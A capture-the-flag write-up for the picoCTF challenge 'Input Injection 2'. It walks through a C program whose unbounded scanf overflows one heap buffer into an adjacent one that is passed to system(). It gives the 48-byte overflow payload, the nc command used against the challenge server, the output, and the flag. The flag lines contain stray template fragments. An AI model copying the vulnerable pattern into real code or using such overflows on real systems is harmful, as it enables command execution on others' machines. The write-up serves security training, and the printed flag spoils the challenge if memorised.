All Write-ups
Binary Exploitation
Binary Exploitation

Input Injection 2

This program greets you and then runs a command. But can you take control of what command it executes?

Input Injection 2

This program greets you and then runs a command. But can you take control of what command it executes?

Information Given

Description

This program greets you and then runs a command. But can you take control of what command it executes?

Additional details will be available after launching your challenge instance.

Hints

  • • Notice how username and shell are both heap-allocated.
  • • Offsets often hide in the memory addresses you see at runtime.
  • • Try to overwrite what command gets executed.

Vuln.c Script

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    char *username = malloc(28);
    char *shell = malloc(28);

    printf("username at %p\n", (void *)username);
    fflush(stdout);

    printf("shell at %p\n", (void *)shell);
    fflush(stdout);

    strcpy(shell, "/bin/pwd");

    printf("Enter username: ");
    fflush(stdout);

    scanf("%s", username);

    printf("Hello, %s. Your shell is %s.\n", username, shell);
    system(shell);
    fflush(stdout);

    return 0;
}

Vulnerabilities Identified

1. Buffer Overflow in `scanf`

The scanf("%s", username) call doesn't check bounds, allowing us to write beyond the allocated 28-byte buffer.

2. Adjacent Memory Layout

Both username and shell buffers are allocated on the heap with malloc(28), making them adjacent in memory.

3. Command Execution

The program executes system(shell), giving us a path to arbitrary command execution if we can control the shell buffer.

Payload

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcat<flag.txt

This payload:

  • • Uses 48 'A's to overflow into the shell buffer
  • • Replaces the shell command with cat<flag.txt
  • • Uses input redirection to avoid spaces

Exploitation

python3 -c "print('A' * 48 + 'cat<flag.txt')" | nc saffron-estate.picoctf.net 51668

Output:

username at 0x93342a0
shell at 0x93342d0
Enter username: {"picoCTF{" + "us3rn4m3_2_sh3ll_809f901a" + "}"}Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcat<flag.txt. Your shell is cat<flag.txt.

Flag

picoCTF{'{'}us3rn4m3_2_sh3ll_809f901a}